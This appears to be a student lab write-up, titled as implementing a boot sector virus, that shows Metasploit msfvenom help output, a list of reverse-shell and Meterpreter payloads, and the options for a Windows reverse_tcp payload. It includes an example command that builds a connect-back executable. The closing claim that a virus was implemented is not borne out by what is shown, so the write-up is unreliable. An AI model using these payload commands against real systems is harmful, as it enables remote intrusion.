

IMPLEMENT THE BOOT SECTOR VIRUS

Step1:open kali linux root terminal

Step2:enter command “msfvenom”.

```
(root@kali)-[~]
# msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe

Options:
  -l, --list <type>          List all modules for [type]. Types are:
                             payloads, encoders, nops, platforms, archs, encrypt, formats, all
  -p, --payload <payload>    Payload to use (--list payloads to list,
                             --list-options for arguments). Specify '-' or STDIN for custom
  --list-options             List --payload <value>'s standard, advanced and evasion options
  -f, --format <format>      Output format (use --list formats to list)
  -e, --encoder <encoder>    The encoder to use (use --list encoders to list)
  --service-name <value>    The service name to use when generating a service binary
  --sec-name <value>        The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
  --smallest                Generate the smallest possible payload using all available encoders
  --encrypt <value>         The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
  --encrypt-key <value>     A key to be used for --encrypt
  --encrypt-iv <value>      An initialization vector for --encrypt
  -a, --arch <arch>         The architecture to use for --payload and --encoders (use --list archs to list)
  --platform <platform>    The platform for --payload (use --list platforms to list)
  -o, --out <path>          Save the payload to a file
  -b, --bad-chars <list>    Characters to avoid example: '\x00\xff'
  -n, --nopsled <length>    Prepend a nopsled of [length] size on to the payload
  --pad-nops                Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
  -s, --space <length>      The maximum size of the resulting payload
  --encoder-space <length>  The maximum size of the encoded payload (defaults to the -s value)
  -i, --iterations <count> The number of times to encode the payload
  -c, --add-code <path>     Specify an additional win32 shellcode file to include
  -x, --template <path>     Specify a custom executable file to use as a template
  -k, --keep                Preserve the --template behaviour and inject the payload as a new thread
  -v, --var-name <value>    Specify a custom variable name to use for certain output formats
  -t, --timeout <second>    The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
  -h, --help                Show this message
```

Step3:eneter command “msfvenom -l payload

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File Actions Edit View Help
(root@kali)~[~]
msfvenom -l payloads

Framework Payloads (968 total) [--payload <value>]

Name
aix/ppc/shell_bind_tcp
aix/ppc/shell_find_port
aix/ppc/shell_interact
aix/ppc/shell_reverse_tcp
android/meterpreter/reverse_http
android/meterpreter/reverse_https
android/meterpreter/reverse_tcp
android/meterpreter/reverse_https
android/meterpreter/reverse_tcp
android/shell/reverse_http
android/shell/reverse_https
android/shell/reverse_tcp
apple_ios/aarch64/meterpreter_reverse_tcp
apple_ios/aarch64/meterpreter_reverse_https
apple_ios/aarch64/meterpreter_reverse_tcp
apple_ios/aarch64/shell_reverse_tcp
apple_ios/armle/meterpreter_reverse_https
apple_ios/armle/meterpreter_reverse_https
apple_ios/armle/meterpreter_reverse_https
apple_ios/armle/meterpreter_reverse_https
bsd/sparc/shell_bind_tcp
bsd/sparc/shell_reverse_tcp
bsd/vax/shell_reverse_tcp
bsd/x64/exec
bsd/x64/shell_bind_ipv6_tcp
bsd/x64/shell_bind_tcp
bsd/x64/shell_bind_tcp_small
bsd/x64/shell_reverse_ipv6_tcp
bsd/x64/shell_reverse_tcp
bsd/x64/shell_reverse_tcp_small
bsd/x86/exec
bsd/x86/metsvc_bind_tcp
bsd/x86/metsvc_reverse_tcp
bsd/x86/shell/bind_ipv6_tcp
bsd/x86/shell/bind_tcp
bsd/x86/shell/find_tag
bsd/x86/shell/reverse_ipv6_tcp
bsd/x86/shell/reverse_tcp
bsd/x86/shell_bind_tcp
bsd/x86/shell_bind_tcp_ipv6
bsd/x86/shell_find_port
bsd/x86/shell_find_tag
bsd/x86/shell_reverse_tcp
bsd/x86/shell_reverse_tcp_ipv6
bsd/x86/shell/bind_tcp
bsd/x86/shell/reverse_tcp
bsd/x86/shell_bind_tcp
bsd/x86/shell_find_port
bsd/x86/shell_reverse_tcp
cmd/mainframe/apf_privesc_jcl

Description
Listen for a connection and spawn a command shell
Spawn a shell on an established connection
Simply execve /bin/sh (for inetd programs)
Connect back to attacker and spawn a command shell
Run a meterpreter server in Android. Tunnel communication over TP
Run a meterpreter server in Android. Tunnel communication over TPS
Run a meterpreter server in Android. Connect back stager
Connect back to attacker and spawn a Meterpreter shell
Connect back to attacker and spawn a Meterpreter shell
Connect back to the attacker and spawn a Meterpreter shell
Spawn a piped command shell (sh). Tunnel communication over HTTP
Spawn a piped command shell (sh). Tunnel communication over HTTP
Spawn a piped command shell (sh). Connect back stager
Run the Meterpreter / Mettle server payload (stageless)
Run the Meterpreter / Mettle server payload (stageless)
Run the Meterpreter / Mettle server payload (stageless)
Connect back to attacker and spawn a command shell
Run the Meterpreter / Mettle server payload (stageless)
Run the Meterpreter / Mettle server payload (stageless)
Run the Meterpreter / Mettle server payload (stageless)
Run the Meterpreter / Mettle server payload (stageless)
Listen for a connection and spawn a command shell
Connect back to attacker and spawn a command shell
Connect back to attacker and spawn a command shell
Execute an arbitrary command
Listen for a connection and spawn a command shell over IPv6
Bind an arbitrary command to an arbitrary port
Listen for a connection and spawn a command shell
Connect back to attacker and spawn a command shell over IPv6
Connect back to attacker and spawn a command shell
Connect back to attacker and spawn a command shell
Execute an arbitrary command
Stub payload for interacting with a Meterpreter Service
Stub payload for interacting with a Meterpreter Service
Spawn a command shell (staged). Listen for a connection over IPv6
Spawn a command shell (staged). Listen for a connection
Spawn a command shell (staged). Use an established connection
Spawn a command shell (staged). Connect back to the attacker over IPv6
Spawn a command shell (staged). Connect back to the attacker
Listen for a connection and spawn a command shell
Listen for a connection and spawn a command shell over IPv6
Spawn a shell on an established connection
Spawn a shell on an established connection (proxy/nat safe)
Connect back to attacker and spawn a command shell
Connect back to attacker and spawn a command shell over IPv6
Spawn a command shell (staged). Listen for a connection
Spawn a command shell (staged). Connect back to the attacker
Listen for a connection and spawn a command shell
Spawn a shell on an established connection
Connect back to attacker and spawn a command shell
(Elevate privileges for user. Adds SYSTEM SPECIAL and BPX.SUPER
ER to user profile. Does this by using an unsecured/updateable
F authorized library (APFLIB) and updating the user's ACEE using
this program/library. Note: This privesc only works with z/OS

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windows/x64/peinject/reverse_tcp_uid
Inject a custom native PE file into the exploited process using
reflective PE loader. The reflective PE loader will execute the
pre-mapped PE image starting from the address of entry after pe
oming image base relocation and API address resolution. This a
ule requires a PE file that contains relocation data and a vali
(uncorrected) import table. PE files with CLR(C#/.NET executab
), bounded imports, and TLS callbacks are not currently supp
Also PE files which use resource loading might crash. . Conne
back to the attacker with UID Support (Windows x64)
Connect back to attacker and report UID (Windows x64)
Listen for a connection and spawn an interactive powershell ses
on
Listen for a connection and spawn an interactive powershell ses
on
Listen for a connection and spawn an interactive powershell ses
on over SSL
Spawn a piped command shell (Windows x64) (staged). Listen for
IPV6 connection (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Listen for
IPV6 connection with UID Support (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Listen for
pipe connection (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Listen for
connection (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Connect bac
to the attacker
Spawn a piped command shell (Windows x64) (staged). Listen for
connection with UID Support (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Connect bac
to the attacker (Windows x64)
Spawn a piped command shell (Windows x64) (staged). Connect bac
to the attacker
Spawn a piped command shell (Windows x64) (staged). Connect bac
to the attacker with UID Support (Windows x64)
Listen for a connection and spawn a command shell (Windows x64)
Connect back to attacker and spawn a command shell (Windows x64)
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Listen for an IPV6 connection (Windows x64)
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Listen for a pipe connection (Windows x64)
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Listen for a connection (Windows x64)
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Connect back to the attacker
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Listen for a connection with UID Support (Windows x64)
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Tunnel communication over HTTP (Windows x64 wininet)
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Tunnel communication over HTTP (Windows x64 wininet)
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Connect back to the attacker (Windows x64)
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Connect back to the attacker
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Connect back to the attacker with UID Support (Windows x64)
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Tunnel communication over HTTP (Windows x64 winhttp)
Inject a WVC DLL via a reflective loader (Windows x64) (staged)
Tunnel communication over HTTPS (Windows x64 winhttp)

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Step4: Enter command “msfvenom –list-options -p windows/meterpreter/reverse_tcp

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(root@kali)-[~]
# msfvenom --list-options -p windows/meterpreter/reverse_tcp
Options for payload/windows/meterpreter/reverse_tcp:

Name: Windows Meterpreter (Reflective Injection), Reverse TCP Stager
Module: payload/windows/meterpreter/reverse_tcp
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 296
Rank: Normal

Provided by:
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sf <stephen_fewer@harmonysecurity.com>
OJ Reeves
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Basic options:
Name      Current Setting  Required  Description
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     yes              yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Description:
Inject the Meterpreter server DLL via the Reflective DLL Injection
payload (staged). Requires Windows XP SP2 or newer. Connect back to
the attacker

Advanced options for payload/windows/meterpreter/reverse_tcp:

Name      Current Setting  Required  Description
AutoloadStdapi      true          yes       Automatically load the Stdapi extension
AutoRunScript        true          no        A script to run automatically on session creation.
AutoSystemInfo       true          yes       Automatically capture system information on initialization.
AutoUnhookProcess    false         yes       Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout  30           no        Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding  false         no        Encode the second stage payload
EnableUnicodeEncoding false         yes       Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert        no            no        Path to a SSL certificate in unified PEM format, ignored for HTTP transport
InitialAutoRunScript false         no        An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild false         no        Use a debug version of Meterpreter
MeterpreterDebugLogging false         no        The Meterpreter debug logging configuration, see https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-debugging-meterpreter-sessions.html
PayloadBindPort       no            no        Port to bind reverse tcp socket to on target system.
PayloadProcessCommandLine no           no        The displayed command line that will be used by the payload
PayloadUUIDName       no            no        A human-friendly name to reference this unique payload (requires tracking)
PayloadUIDraw         no            no        A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed       no            no        A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking   false         yes       Whether or not to automatically register generated UUIDs
PingbackRetries       0            yes       How many additional successful pingbacks
PingbackSleep         30           yes       Time (in seconds) to sleep between pingbacks
PrependMigrate        false         yes       Spawns and runs shellcode in new process
PrependMigrateProc    no            no        Process to spawn and run shellcode in
ReverseAllowProxy      false         yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no            no        The specific IP address to bind to on the local system
ReverseListenerBindPort no            no        The port to bind to on the local system if different from LPORT
ReverseListenerComm    no            no        The specific communication channel to use for this listener
ReverseListenerThread  false         yes       Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300          no        The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800        no        The number of seconds before this session should be forcibly shut down
SessionRetryTotal     3600          no        Number of seconds try reconnecting for on network failure
SessionRetryWait      10            no        Number of seconds to wait between reconnect attempts
StageEncoder           no            no        Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no            no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true          no        Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount       10            no        The number of times the stager should retry if the first connect fails
StagerRetryWait        5             no        Number of seconds to wait for the stager between reconnect attempts
VERBOSE               false         no        Enable detailed status messages
WORKSPACE              no            no        Specify the workspace for this module
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Evasion options for payload/windows/meterpreter/reverse_tcp:

Name	Current Setting	Required	Description
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RESULT: Hence boost sector virus implemented successfully

